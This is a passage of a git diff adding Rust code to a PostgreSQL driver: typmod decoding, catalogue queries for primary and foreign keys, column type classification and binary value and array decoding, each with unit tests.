11-bit +/// signed field since PostgreSQL 15 allowed it to be negative. A negative +/// scale rounds to the left of the point, which the app's decimal kind +/// cannot express, so it reads as no declared scale. +pub(crate) fn numeric_precision_scale(typmod: i32) -> (Option, Option) { + let Some(packed) = typmod.checked_sub(4).filter(|packed| *packed >= 0) else { + return (None, None); + }; + let precision = u32::try_from((packed >> 16) & 0xFFFF).ok(); + let scale = ((packed & 0x7FF) ^ 1024) - 1024; + (precision, u32::try_from(scale).ok()) +} + +/// time(p) and timestamp(p) store p itself. +pub(crate) fn fractional_digits(typmod: i32) -> Option { + u8::try_from(typmod).ok() +} + +/// bit(n) and varbit(n) store n itself. +pub(crate) fn bit_length(typmod: i32) -> Option { + u32::try_from(typmod).ok().filter(|length| *length > 0) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn numeric(precision: i32, scale: i32) -> i32 { + ((precision << 16) | (scale & 0x7FF)) + 4 + } + + #[test] + fn pg_numeric_typmod_decodes() { + assert_eq!(numeric_precision_scale(numeric(10, 2)), (Some(10), Some(2))); + assert_eq!(numeric_precision_scale(numeric(38, 0)), (Some(38), Some(0))); + assert_eq!(numeric_precision_scale(numeric(5, -2)), (Some(5), None)); + assert_eq!(numeric_precision_scale(-1), (None, None)); + } + + #[test] + fn character_bit_and_time_modifiers() { + assert_eq!(character_length(14), Some(10)); + assert_eq!(character_length(-1), None); + assert_eq!(bit_length(8), Some(8)); + assert_eq!(bit_length(-1), None); + assert_eq!(fractional_digits(3), Some(3)); + assert_eq!(fractional_digits(-1), None); + } +} diff --git a/linux/crates/drivers/postgres/src/catalog/table_definition.rs b/linux/crates/drivers/postgres/src/catalog/table_definition.rs new file mode 100644 index 0000000000..bd36787fc8 --- /dev/null +++ b/linux/crates/drivers/postgres/src/catalog/table_definition.rs @@ -0,0 +1,48 @@ +use tablepro_core::DriverError; +use tablepro_core::ddl::InboundForeignKey; +use tablepro_core::meta::TableRef; +use tokio_postgres::Row; + +/// The primary key constraint's name and its columns in key order. +pub(crate) const PRIMARY_KEY_NAME_SQL: &str = "\ +SELECT c.conname::text, + ARRAY(SELECT a.attname::text + FROM unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum + ORDER BY k.ord) +FROM pg_catalog.pg_constraint c +WHERE c.conrelid = $1::text::regclass AND c.contype = 'p'"; + +/// Foreign keys on other tables that point at this one. +pub(crate) const INBOUND_FOREIGN_KEYS_SQL: &str = "\ +SELECT c.conname::text, + n.nspname::text, + t.relname::text, + ARRAY(SELECT a.attname::text + FROM unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum + ORDER BY k.ord), + ARRAY(SELECT a.attname::text + FROM unnest(c.confkey) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = c.confrelid AND a.attnum = k.attnum + ORDER BY k.ord) +FROM pg_catalog.pg_constraint c +JOIN pg_catalog.pg_class t ON t.oid = c.conrelid +JOIN pg_catalog.pg_namespace n ON n.oid = t.relnamespace +WHERE c.confrelid = $1::text::regclass AND c.contype = 'f' +ORDER BY n.nspname, t.relname, c.conname"; + +pub(crate) fn inbound_foreign_key(row: &Row) -> Result { + let field = |error: tokio_postgres::Error| DriverError::Decode { + column: "pg_constraint".to_owned(), + detail: error.to_string(), + }; + let schema: String = row.try_get(1).map_err(field)?; + let table: String = row.try_get(2).map_err(field)?; + Ok(InboundForeignKey { + name: row.try_get(0).map_err(field)?, + table: TableRef::new(Some(schema), table), + columns: row.try_get(3).map_err(field)?, + referenced_columns: row.try_get(4).map_err(field)?, + }) +} diff --git a/linux/crates/drivers/postgres/src/catalog/type_facts.rs b/linux/crates/drivers/postgres/src/catalog/type_facts.rs new file mode 100644 index 0000000000..dfd6a7fed3 --- /dev/null +++ b/linux/crates/drivers/postgres/src/catalog/type_facts.rs @@ -0,0 +1,276 @@ +use postgres_types::{Kind, Type}; +use tablepro_core::column::{ + BoolStorage, ColumnKind, FloatWidth, IntegerKind, IntegerWidth, NetworkFamily, ReadForm, TemporalZone, TextLength, + TimeRange, +}; + +use super::pg_typmod::{bit_length, character_length, fractional_digits, numeric_precision_scale}; +use crate::codec::{decodes_natively, oid}; + +/// What the catalogue says about a column's type once domains are seen +/// through: the base type, its modifier and, for an array, its element. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct TypeFacts { + pub(crate) oid: u32, + pub(crate) typmod: i32, + pub(crate) shape: TypeShape, + pub(crate) name: String, + pub(crate) element: Option>, + pub(crate) enum_labels: Vec, +} + +/// `pg_type.typtype`, the one fact that decides the kind of a type that +/// is not built in. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum TypeShape { + Base, + Composite, + Enum, + Range, + Pseudo, +} + +impl TypeShape { + pub(crate) fn from_typtype(typtype: &str) -> Self { + match typtype { + "c" => Self::Composite, + "e" => Self::Enum, + "r" | "m" => Self::Range, + "p" => Self::Pseudo, + _ => Self::Base, + } + } +} + +impl TypeFacts { + /// The facts tokio-postgres already holds about a result column. + pub(crate) fn of_type(ty: &Type, typmod: i32) -> Self { + let mut facts = Self { + oid: ty.oid(), + typmod, + shape: TypeShape::Base, + name: ty.name().to_owned(), + element: None, + enum_labels: Vec::new(), + }; + match ty.kind() { + Kind::Array(element) => facts.element = Some(Box::new(Self::of_type(element, -1))), + Kind::Domain(base) => return Self::of_type(base, typmod), + Kind::Enum(labels) => { + facts.shape = TypeShape::Enum; + facts.enum_labels = labels.clone(); + } + Kind::Composite(_) => facts.shape = TypeShape::Composite, + Kind::Range(_) | Kind::Multirange(_) => facts.shape = TypeShape::Range, + Kind::Pseudo => facts.shape = TypeShape::Pseudo, + _ => {} + } + facts + } + + pub(crate) fn kind(&self) -> ColumnKind { + if let Some(element) = &self.element { + return ColumnKind::Array { + element: Box::new(element.kind()), + }; + } + match self.shape { + TypeShape::Enum => { + return ColumnKind::Enum { + labels: self.enum_labels.clone(), + multiple: false, + }; + } + TypeShape::Composite => return ColumnKind::Composite, + TypeShape::Range | TypeShape::Pseudo => return ColumnKind::Other, + TypeShape::Base => {} + } + if let Some(kind) = builtin_kind(self.oid, self.typmod) { + return kind; + } + match self.name.as_str() { + // PostGIS types are extension types with no fixed OID. + "geometry" | "geography" => ColumnKind::Spatial, + _ => ColumnKind::Other, + } + } + + /// How a page reads the column. Anything without an exact binary + /// decoder is projected as text, which also keeps every result OID a + /// built-in one, so tokio-postgres never has to look a type up. + pub(crate) fn read_form(&self) -> ReadForm { + if self.oid == oid::MONEY { + return ReadForm::ServerNumeric; + } + match Type::from_oid(self.oid) { + Some(ty) if decodes_natively(&ty) => ReadForm::Native, + _ => ReadForm::ServerText, + } + } +} + +fn builtin_kind(type_oid: u32, typmod: i32) -> Option { + let int = |width| ColumnKind::Integer(IntegerKind { width, signed: true }); + Some(match type_oid { + oid::BOOL => ColumnKind::Bool(BoolStorage::Native), + oid::INT2 => int(IntegerWidth::W16), + oid::INT4 => int(IntegerWidth::W32), + oid::INT8 => int(IntegerWidth::W64), + oid::OID => ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: false, + }), + oid::FLOAT4 => ColumnKind::Float(FloatWidth::F32), + oid::FLOAT8 => ColumnKind::Float(FloatWidth::F64), + oid::NUMERIC => { + let (precision, scale) = numeric_precision_scale(typmod); + ColumnKind::Decimal { precision, scale } + } + oid::MONEY => ColumnKind::Money { scale: None }, + oid::TEXT | oid::UNKNOWN => ColumnKind::Text { + length: TextLength::Unbounded, + }, + oid::VARCHAR => ColumnKind::Text { + length: character_length(typmod).map_or(TextLength::Unbounded, TextLength::Varying), + }, + oid::BPCHAR => ColumnKind::Text { + length: character_length(typmod).map_or(TextLength::Unbounded, TextLength::Fixed), + }, + oid::NAME => ColumnKind::Text { + length: TextLength::Varying(63), + }, + oid::CHAR => ColumnKind::Text { + length: TextLength::Fixed(1), + }, + oid::BYTEA => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + oid::UUID => ColumnKind::Uuid, + oid::JSON => ColumnKind::Json { binary: false }, + oid::JSONB => ColumnKind::Json { binary: true }, + oid::DATE => ColumnKind::Date, + oid::TIME | oid::TIMETZ => ColumnKind::Time { + fractional_digits: fractional_digits(typmod), + with_offset: type_oid == oid::TIMETZ, + range: TimeRange::TimeOfDay, + }, + oid::TIMESTAMP => ColumnKind::Timestamp { + fractional_digits: fractional_digits(typmod), + zone: TemporalZone::Naive, + }, + oid::TIMESTAMPTZ => ColumnKind::Timestamp { + fractional_digits: fractional_digits(typmod), + zone: TemporalZone::Offset, + }, + oid::INTERVAL => ColumnKind::Interval, + oid::BIT | oid::VARBIT => ColumnKind::BitString { + length: bit_length(typmod), + varying: type_oid == oid::VARBIT, + }, + oid::INET => ColumnKind::Network(NetworkFamily::Inet), + oid::CIDR => ColumnKind::Network(NetworkFamily::Cidr), + oid::MACADDR => ColumnKind::Network(NetworkFamily::MacAddr), + oid::MACADDR8 => ColumnKind::Network(NetworkFamily::MacAddr8), + oid::XML => ColumnKind::Xml, + oid::POINT | oid::LSEG | oid::PATH | oid::BOX | oid::POLYGON | oid::LINE | oid::CIRCLE => ColumnKind::Spatial, + // Full-text values have no editor of their own; the server's text + // is what the grid shows and writes back. + oid::TSVECTOR | oid::TSQUERY => ColumnKind::Other, + _ => return None, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn base(type_oid: u32, typmod: i32, name: &str) -> TypeFacts { + TypeFacts { + oid: type_oid, + typmod, + shape: TypeShape::Base, + name: name.to_owned(), + element: None, + enum_labels: Vec::new(), + } + } + + #[test] + fn pg_enum_classifies_with_labels_in_sort_order() { + let mood = TypeFacts { + shape: TypeShape::Enum, + enum_labels: vec!["sad".to_owned(), "ok".to_owned(), "happy".to_owned()], + ..base(70_000, -1, "mood") + }; + + assert_eq!( + mood.kind(), + ColumnKind::Enum { + labels: vec!["sad".to_owned(), "ok".to_owned(), "happy".to_owned()], + multiple: false + } + ); + assert_eq!(mood.read_form(), ReadForm::ServerText); + } + + #[test] + fn pg_domain_over_int4_is_integer_native() { + let domain = Type::new( + "positive".to_owned(), + 70_001, + Kind::Domain(Type::INT4), + "public".to_owned(), + ); + + let facts = TypeFacts::of_type(&domain, -1); + + assert_eq!( + facts.kind(), + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true + }) + ); + assert_eq!(facts.read_form(), ReadForm::Native); + } + + #[test] + fn pg_int4range_is_other_server_text() { + let range = TypeFacts { + shape: TypeShape::Range, + ..base(Type::INT4_RANGE.oid(), -1, "int4range") + }; + + assert_eq!(range.kind(), ColumnKind::Other); + assert_eq!(range.read_form(), ReadForm::ServerText); + } + + #[test] + fn pg_tsvector_builtin_without_codec_is_server_text() { + let tsvector = base(oid::TSVECTOR, -1, "tsvector"); + + assert_eq!(tsvector.kind(), ColumnKind::Other); + assert_eq!(tsvector.read_form(), ReadForm::ServerText); + } + + #[test] + fn money_reads_as_numeric_text_and_arrays_follow_their_element() { + assert_eq!(base(oid::MONEY, -1, "money").read_form(), ReadForm::ServerNumeric); + + let int_array = TypeFacts::of_type(&Type::INT4_ARRAY, -1); + assert!(matches!(int_array.kind(), ColumnKind::Array { .. })); + assert_eq!(int_array.read_form(), ReadForm::Native); + + let varchar = base(oid::VARCHAR, 14, "varchar"); + assert_eq!( + varchar.kind(), + ColumnKind::Text { + length: TextLength::Varying(10) + } + ); + let geometry = base(80_000, -1, "geometry"); + assert_eq!(geometry.kind(), ColumnKind::Spatial); + assert_eq!(geometry.read_form(), ReadForm::ServerText); + assert_eq!(base(oid::TSQUERY, -1, "tsquery").read_form(), ReadForm::ServerText); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/array_decode.rs b/linux/crates/drivers/postgres/src/codec/array_decode.rs new file mode 100644 index 0000000000..0d64f9cdfb --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/array_decode.rs @@ -0,0 +1,183 @@ +use fallible_iterator::FallibleIterator; +use postgres_protocol::types::{ArrayDimension, array_from_sql}; +use postgres_types::Type; +use tablepro_core::Value; +use tablepro_core::export::value_to_text; +use tablepro_core::value::OtherValue; + +use super::WireError; +use super::decode::{decode_binary, quote_element}; + +/// Deeper than PostgreSQL allows (MAXDIM is 6), so a hostile header +/// cannot drive the nesting. +const MAX_DIMENSIONS: usize = 6; + +/// An array as nested `Value::Array`s, one level per dimension. +/// +/// `Value::Array` has nowhere to keep a lower bound, so an array that +/// does not start at 1 is kept as the server's text instead, bounds +/// included, rather than silently renumbered. +pub(crate) fn decode_array(ty: &Type, element: &Type, raw: &[u8]) -> Result { + let array = array_from_sql(raw).map_err(|_| WireError::Malformed)?; + let dimensions: Vec = array.dimensions().collect().map_err(|_| WireError::Malformed)?; + if dimensions.is_empty() { + return Ok(Value::Array(Vec::new())); + } + if dimensions.len() > MAX_DIMENSIONS { + return Err(WireError::Malformed); + } + let lengths: Vec = dimensions + .iter() + .map(|dimension| usize::try_from(dimension.len).map_err(|_| WireError::Malformed)) + .collect::>()?; + let total = lengths + .iter() + .try_fold(1usize, |total, length| total.checked_mul(*length)) + .ok_or(WireError::Malformed)?; + let values: Vec = array + .values() + .map(|value| { + Ok(match value { + Some(bytes) => decode_binary(element, bytes), + None => Value::Null, + }) + }) + .collect() + .map_err(|_| WireError::Malformed)?; + if values.len() != total { + return Err(WireError::Malformed); + } + let nested = nest(&lengths, &mut values.into_iter()); + if dimensions.iter().all(|dimension| dimension.lower_bound == 1) { + return Ok(nested); + } + let bounds: String = dimensions + .iter() + .map(|dimension| { + let upper = i64::from(dimension.lower_bound) + i64::from(dimension.len) - 1; + format!("[{}:{upper}]", dimension.lower_bound) + }) + .collect(); + Ok(Value::Other(Box::new(OtherValue { + type_name: ty.name().to_owned(), + text: format!("{bounds}={}", array_literal(&nested)), + }))) +} + +fn nest(lengths: &[usize], values: &mut impl Iterator) -> Value { + match lengths.split_first() { + Some((length, [])) => Value::Array(values.take(*length).collect()), + Some((length, inner)) => Value::Array((0..*length).map(|_| nest(inner, values)).collect()), + None => Value::Array(Vec::new()), + } +} + +/// The array's text form: `{1,2}`, nested braces per dimension, NULL +/// unquoted. +fn array_literal(value: &Value) -> String { + match value { + Value::Array(elements) => { + let inner: Vec = elements.iter().map(array_literal).collect(); + format!("{{{}}}", inner.join(",")) + } + Value::Null => "NULL".to_owned(), + other => { + let text = value_to_text(other).unwrap_or_default(); + if text.eq_ignore_ascii_case("null") { + return format!("\"{text}\""); + } + quote_element(&text, ",{}") + } + } +} + +#[cfg(test)] +mod tests { + use bytes::BytesMut; + use postgres_protocol::IsNull; + use postgres_protocol::types::{ArrayDimension, array_to_sql, int4_to_sql, text_to_sql}; + + use super::*; + + fn int4_array(dimensions: Vec, values: &[Option]) -> BytesMut { + let mut out = BytesMut::new(); + array_to_sql( + dimensions, + Type::INT4.oid(), + values.iter().copied(), + |value, out| match value { + Some(value) => { + int4_to_sql(value, out); + Ok(IsNull::No) + } + None => Ok(IsNull::Yes), + }, + &mut out, + ) + .expect("an array"); + out + } + + #[test] + fn a_two_dimensional_array_nests_by_dimension() { + let dimensions = vec![ + ArrayDimension { len: 2, lower_bound: 1 }, + ArrayDimension { len: 2, lower_bound: 1 }, + ]; + let raw = int4_array(dimensions, &[Some(1), Some(2), None, Some(4)]); + + let value = decode_array(&Type::INT4_ARRAY, &Type::INT4, &raw).expect("an array"); + + assert_eq!( + value, + Value::Array(vec![ + Value::Array(vec![Value::Int(1), Value::Int(2)]), + Value::Array(vec![Value::Null, Value::Int(4)]), + ]) + ); + } + + #[test] + fn array_lower_bound_2_is_other_text() { + let raw = int4_array(vec![ArrayDimension { len: 2, lower_bound: 2 }], &[Some(7), None]); + + let value = decode_array(&Type::INT4_ARRAY, &Type::INT4, &raw).expect("an array"); + + let Value::Other(other) = value else { + panic!("a renumbered array was not kept as text: {value:?}"); + }; + assert_eq!(other.text, "[2:3]={7,NULL}"); + assert_eq!(other.type_name, "_int4"); + } + + #[test] + fn an_empty_array_has_no_dimensions() { + let raw = int4_array(Vec::new(), &[]); + + assert_eq!( + decode_array(&Type::INT4_ARRAY, &Type::INT4, &raw), + Ok(Value::Array(Vec::new())) + ); + } + + #[test] + fn text_elements_are_quoted_where_the_text_form_needs_it() { + let mut raw = BytesMut::new(); + array_to_sql( + vec![ArrayDimension { len: 2, lower_bound: 0 }], + Type::TEXT.oid(), + ["a b", "NULL"], + |value, out| { + text_to_sql(value, out); + Ok(IsNull::No) + }, + &mut raw, + ) + .expect("an array"); + + let Ok(Value::Other(other)) = decode_array(&Type::TEXT_ARRAY, &Type::TEXT, &raw) else { + panic!("a renumbered array was not kept as text"); + }; + assert_eq!(other.text, "[0:1]={\"a b\",\"NULL\"}"); + } +} diff --git a/linux/crates/drivers/postgres/src/codec/decode.rs b/linux/crates/drivers/postgres/src/codec/decode.rs new file mode 100644 index 0000000000..0e8c959431 --- /dev/null +++ b/linux/crates/drivers/postgres/src/codec/decode.rs @@ -0,0 +1,463 @@ +use std::fmt::Write as _; + +use chrono::{DateTime, NaiveDate, NaiveDateTime, Utc}; +use postgres_protocol::types as wire; +use postgres_types::{Date, FromSql, Kind, Timestamp, Type}; +use tablepro_core::Value; +use tablepro_core::export::value_to_text; +use tablepro_core::value::{ + BitString, JsonText, OffsetTimestamp, OtherValue, Temporal, UndecodableReason, UndecodedValue, +}; + +use super::WireError; +use super::array_decode::decode_array; +use super::interval_wire::interval_from_sql; +use super::network_text::{inet_text, macaddr_text, macaddr8_text}; +use super::numeric_wire::numeric_from_sql; +use super::oid; +use super::temporal_wire::{time_from_sql, timetz_from_sql}; + +const JSONB_VERSION: u8 = 1; + +/// Why a value has no decoded form. +enum Failure { + Wire(WireError), + Unsupported, +} + +impl From for Failure { + fn from(error: WireError) -> Self { + Self::Wire(error) + } +} + +/// A non-NULL binary value as the app's `Value`. +/// +/// Nothing here returns `Null` for bytes that are there: a value this +/// build cannot read becomes `Undecodable`, so the grid shows that it +/// exists rather than an empty cell that looks like a NULL. +pub(crate) fn decode_binary(ty: &Type, raw: &[u8]) -> Value { + match decode(ty, raw) { + Ok(value) => value, + Err(Failure::Wire(error)) => undecodable(ty, error.reason()), + Err(Failure::Unsupported) => undecodable(ty, UndecodableReason::UnsupportedType), + } +} + +/// Whether a column of this type reads exactly in binary, so a page +/// selects it as it is rather than as the server's text. +pub(crate) fn decodes_natively(ty: &Type) -> bool { + match ty.kind() { + Kind::Array(element) => decodes_natively(element), + Kind::Domain(base) => decodes_natively(base), + Kind::Simple => matches!( + ty.oid(), + oid::BOOL + | oid::INT2 + | oid::INT4 + | oid::INT8 + | oid::OID + | oid::FLOAT4 + | oid::FLOAT8 + | oid::NUMERIC + | oid::TEXT + | oid::VARCHAR + | oid::BPCHAR + | oid::NAME + | oid::CHAR + | oid::XML + | oid::BYTEA + | oid::UUID + | oid::JSON + | oid::JSONB + | oid::DATE + | oid::TIME + | oid::TIMETZ + | oid::TIMESTAMP + | oid::TIMESTAMPTZ + | oid::INTERVAL + | oid::BIT + | oid::VARBIT + | oid::INET + | oid::CIDR + | oid::MACADDR + | oid::MACADDR8 + | oid::POINT + | oid::BOX + | oid::PATH + | oid::PG_LSN + ), + _ => false, + } +} + +fn decode(ty: &Type, raw: &[u8]) -> Result { + match ty.kind() { + Kind::Array(element) => return Ok(decode_array(ty, element, raw)?), + Kind::Domain(base) => return decode(base, raw), + // An enum's binary form is its label. + Kind::Enum(_) => return Ok(Value::Text(text(raw)?.to_owned())), + Kind::Range(element) => return Ok(other(ty, range_text(element, raw)?)), + Kind::Simple => {} + _ => return Err(Failure::Unsupported), + } + let value = match ty.oid() { + oid::BOOL => Value::Bool(wire::bool_from_sql(raw).map_err(malformed)?), + oid::INT2 => Value::Int(i64::from(wire::int2_from_sql(raw).map_err(malformed)?)), + oid::INT4 => Value::Int(i64::from(wire::int4_from_sql(raw).map_err(malformed)?)), + oid::INT8 => Value::Int(wire::int8_from_sql(raw).map_err(malformed)?), + oid::FLOAT4 => Value::Float32(wire::float4_from_sql(raw).map_err(malformed)?), + oid::FLOAT8 => Value::Float64(wire::float8_from_sql(raw).map_err(malformed)?), + oid::NUMERIC => Value::Decimal(numeric_from_sql(raw)?), + oid::TEXT | oid::VARCHAR | oid::BPCHAR | oid::NAME | oid::XML | oid::UNKNOWN => { + Value::Text(text(raw)?.to_owned()) + } + oid::CHAR => Value::Text(char::from(raw.first().copied().ok_or(WireError::Malformed)?).to_string()), + oid::BYTEA => Value::Bytes(wire::bytea_from_sql(raw).to_vec()), + oid::UUID => Value::Uuid(uuid::Uuid::from_bytes(wire::uuid_from_sql(raw).map_err(malformed)?)), + oid::JSON => json(raw)?, + oid::JSONB => match raw.split_first() { + Some((&JSONB_VERSION, document)) => json(document)?, + _ => return Err(WireError::Malformed.into()), + }, + oid::DATE => Value::Date(date(ty, raw)?), + oid::TIMESTAMP => Value::Timestamp(timestamp(ty, raw)?), + oid::TIMESTAMPTZ => Value::TimestampTz(timestamptz(ty, raw)?), + oid::TIME => Value::Time(time_from_sql(raw)?), + oid::TIMETZ => Value::TimeTz(timetz_from_sql(raw)?), + oid::INTERVAL => Value::Interval(interval_from_sql(raw)?), + oid::BIT | oid::VARBIT => Value::Bits(bits(raw)?), + oid::INET => other(ty, inet_text(raw, false)?), + oid::CIDR => other(ty, inet_text(raw, true)?), + oid::MACADDR => other(ty, macaddr_text(raw)?), + oid::MACADDR8 => other(ty, macaddr8_text(raw)?), + oid::POINT => { + let point = wire::point_from_sql(raw).map_err(malformed)?; + other(ty, point_text(point.x(), point.y())) + } + oid::BOX => { + let shape = wire::box_from_sql(raw).map_err(malformed)?; + let (upper, lower) = (shape.upper_right(), shape.lower_left()); + other( + ty, + format!( + "{},{}", + point_text(upper.x(), upper.y()), + point_text(lower.x(), lower.y()) + ), + ) + } + oid::PATH => other(ty, path_text(raw)?), + oid::PG_LSN => { + let lsn = wire::lsn_from_sql(raw).map_err(malformed)?; + other(ty, format!("{:X}/{:X}", lsn >> 32, lsn & 0xFFFF_FFFF)) + } + oid::OID => Value::Int(i64::from(wire::oid_from_sql(raw).map_err(malformed)?)), + alias if oid::REG_TYPES.contains(&alias) => Value::Int(i64::from(wire::oid_from_sql(raw).map_err(malformed)?)), + oid::XID | oid::CID => other(ty, wire::oid_from_sql(raw).map_err(malformed)?.to_string()), + oid::XID8 => other( + ty, + wire::int8_from_sql(raw).map_err(malformed)?.cast_unsigned().to_string(), + ), + oid::TID => other(ty, tid_text(raw)?), + _ => return Err(Failure::Unsupported), + }; + Ok(value) +} + +fn malformed(_: E) -> WireError { + WireError::Malformed +} + +fn text(raw: &[u8]) -> Result<&str, WireError> { + std::str::from_utf8(raw).map_err(malformed) +} + +/// JSON kept as the server rendered it: decoding and printing it again +/// would reorder the keys and drop the spacing. +fn json(raw: &[u8]) -> Result { + JsonText::parse(text(raw)?.to_owned()) + .map(Value::Json) + .map_err(malformed) +} + +fn bits(raw: &[u8]) -> Result { + let varbit = wire::varbit_from_sql(raw).map_err(malformed)?; + let bit_len = u32::try_from(varbit.len()).map_err(|_| WireError::OutOfRange)?; + BitString::from_bytes(bit_len, varbit.bytes().to_vec()).map_err(malformed) +} + +/// postgres-types reads the infinities and refuses a date chrono cannot +/// hold. A well-formed value it refuses is therefore out of range. +fn date(ty: &Type, raw: &[u8]) -> Result, WireError> { + expect_len(raw, 4)?; + match Date::::from_sql(ty, raw).map_err(|_| WireError::OutOfRange)? { + Date::Value(date) => Ok(Temporal::Finite(date)), + Date::PosInfinity => Ok(Temporal::Infinity), + Date::NegInfinity => Ok(Temporal::NegInfinity), + } +} + +fn timestamp(ty: &Type, raw: &[u8]) -> Result, WireError> { + expect_len(raw, 8)?; + match Timestamp::::from_sql(ty, raw).map_err(|_| WireError::OutOfRange)? { + Timestamp::Value(stamp) => Ok(Temporal::Finite(stamp)), + Timestamp::PosInfinity => Ok(Temporal::Infinity), + Timestamp::NegInfinity => Ok(Temporal::NegInfinity), + } +} + +/// A TIMESTAMPTZ is an instant; the server sends it in UTC, so the offset +/// it carries here is UTC's. +fn timestamptz(ty: &Type, raw: &[u8]) -> Result, WireError> { + expect_len(raw, 8)?; + match Timestamp::>::from_sql(ty, raw).map_err(|_| WireError::OutOfRange)? { + Timestamp::Value(stamp) => Ok(Temporal::Finite(OffsetTimestamp::from_datetime(stamp.fixed_offset()))), + Timestamp::PosInfinity => Ok(Temporal::Infinity), + Timestamp::NegInfinity => Ok(Temporal::NegInfinity), + } +} + +fn expect_len(raw: &[u8], len: usize) -> Result<(), WireError> { + if raw.len() == len { + Ok(()) + } else { + Err(WireError::Malformed) + } +} + +fn point_text(x: f64, y: f64) -> String { + format!("({x},{y})") +} + +fn path_text(raw: &[u8]) -> Result { + use fallible_iterator::FallibleIterator; + + let path = wire::path_from_sql(raw).map_err(malformed)?; + let points: Vec = path + .points() + .map(|point| Ok(point_text(point.x(), point.y()))) + .collect() + .map_err(malformed)?; + let (open, close) = if path.closed() { ('(', ')') } else { ('[', ']') }; + Ok(format!("{open}{}{close}", points.join(","))) +} + +fn tid_text(raw: &[u8]) -> Result { + let bytes: [u8; 6] = raw.try_into().map_err(malformed)?; + let block = u32::from_be_bytes([bytes[0], bytes[1], bytes[2], bytes[3]]); + let offset = u16::from_be_bytes([bytes[4], bytes[5]]); + Ok(format!("({block},{offset})")) +} + +/// A range printed the way the server prints one, its bounds quoted +/// where their text needs it. +fn range_text(element: &Type, raw: &[u8]) -> Result { + let range = wire::range_from_sql(raw).map_err(malformed)?; + let wire::Range::Nonempty(lower, upper) = range else { + return Ok("empty".to_owned()); + }; + let mut text = String::new(); + let (open, lower_value) = bound(element, lower, '[', '(')?; + let (close, upper_value) = bound(element, upper, ']', ')')?; + text.push(open); + text.push_str(&lower_value); + text.push(','); + text.push_str(&upper_value); + text.push(close); + Ok(text) +} + +fn bound( + element: &Type, + bound: wire::RangeBound>, + inclusive: char, + exclusive: char, +) -> Result<(char, String), Failure> { + let (bracket, value) = match bound { + wire::RangeBound::Inclusive(value) => (inclusive, value), + wire::RangeBound::Exclusive(value) => (exclusive, value), + wire::RangeBound::Unbounded => return Ok((exclusive, String::new())), + }; + let Some(bytes) = value else { + return Ok((bracket, String::new())); + }; + let text = value_to_text(&decode(element, bytes)?).ok_or(Failure::Unsupported)?; + Ok((bracket, quote_element(&text, ",()[]"))) +} + +/// Quote an element of a composite text form the way the server does +/// when it holds a character the form uses itself. +pub(crate) fn quote_element(text: &str, specials: &str) -> String { + let needs_quotes = text.is_empty() + || text + .chars() + .any(|ch| ch == '"' || ch == '\\' || ch.is_whitespace() || specials.contains(ch)); + if !needs_quotes { + return text.to_owned(); + } + let mut quoted = String::with_capacity(text.len() + 2); + quoted.push('"'); + for ch in text.chars() { + if ch == '"' || ch == '\\' { + quoted.push('\\'); + } + let _ = write!(quoted, "{ch}"); + } + quoted.push('"'); + quoted +} + +fn other(ty: &Type, text: String) -> Value { + Value::Other(Box::new(OtherValue { + type_name: ty.name().to_owned(), + text, + })) +} + +fn undecodable(ty: &Type, reason: UndecodableReason) -> Value { + Value::Undecodable(Box::new(UndecodedValue { + type_name: ty.name().to_owned(), + reason, + })) +} + +#[cfg(test)] +mod tests { + use bytes::BytesMut; + use postgres_types::ToSql; + + use super::*; + + fn encoded(value: T, ty: &Type) -> BytesMut { + let mut out = BytesMut::new(); + value.to_sql(ty, &mut out).expect("an encodable value"); + out + } + + #[test] + fn date_timestamp_infinity_sentinels() { + let infinity = encoded(i32::MAX, &Type::INT4); + let negative = encoded(i32::MIN, &Type::INT4); + assert_eq!(decode_binary(&Type::DATE, &infinity), Value::Date(Temporal::Infinity)); + assert_eq!( + decode_binary(&Type::DATE, &negative), + Value::Date(Temporal::NegInfinity) + ); + + let infinity = encoded(i64::MAX, &Type::INT8); + assert_eq!( + decode_binary(&Type::TIMESTAMP, &infinity), + Value::Timestamp(Temporal::Infinity) + ); + assert_eq!( + decode_binary(&Type::TIMESTAMPTZ, &encoded(i64::MIN, &Type::INT8)), + Value::TimestampTz(Temporal::NegInfinity) + ); + } + + #[test] + fn timestamp_overflow_is_out_of_range() { + let far = encoded(i64::MAX - 1, &Type::INT8); + + let Value::Undecodable(undecoded) = decode_binary(&Type::TIMESTAMP, &far) else { + panic!("an overflowing timestamp decoded"); + }; + assert_eq!(undecoded.reason, UndecodableReason::OutOfRange); + let Value::Undecodable(short) = decode_binary(&Type::TIMESTAMP, &[0, 1]) else { + panic!("a short timestamp decoded"); + }; + assert_eq!(short.reason, UndecodableReason::InvalidEncoding); + } + + #[test] + fn scalars_keep_their_width_and_text_keeps_its_bytes() { + assert_eq!( + decode_binary(&Type::FLOAT4, &encoded(1.5f32, &Type::FLOAT4)), + Value::Float32(1.5) + ); + assert_eq!(decode_binary(&Type::INT2, &encoded(-7i16, &Type::INT2)), Value::Int(-7)); + assert_eq!( + decode_binary(&Type::OID, &encoded(u32::MAX, &Type::OID)), + Value::Int(4_294_967_295) + ); + assert_eq!( + decode_binary(&Type::TEXT, "naïve".as_bytes()), + Value::Text("naïve".to_owned()) + ); + let Value::Undecodable(invalid) = decode_binary(&Type::TEXT, &[0xff, 0xfe]) else { + panic!("invalid UTF-8 decoded"); + }; + assert_eq!(invalid.reason, UndecodableReason::InvalidEncoding); + } + + #[test] + fn jsonb_skips_its_version_byte_and_keeps_the_text() { + let document = br#"{"b": 1, "a": [2]}"#; + let mut jsonb = vec![JSONB_VERSION]; + jsonb.extend_from_slice(document); + + let Value::Json(read) = decode_binary(&Type::JSONB, &jsonb) else { + panic!("jsonb did not decode"); + }; + 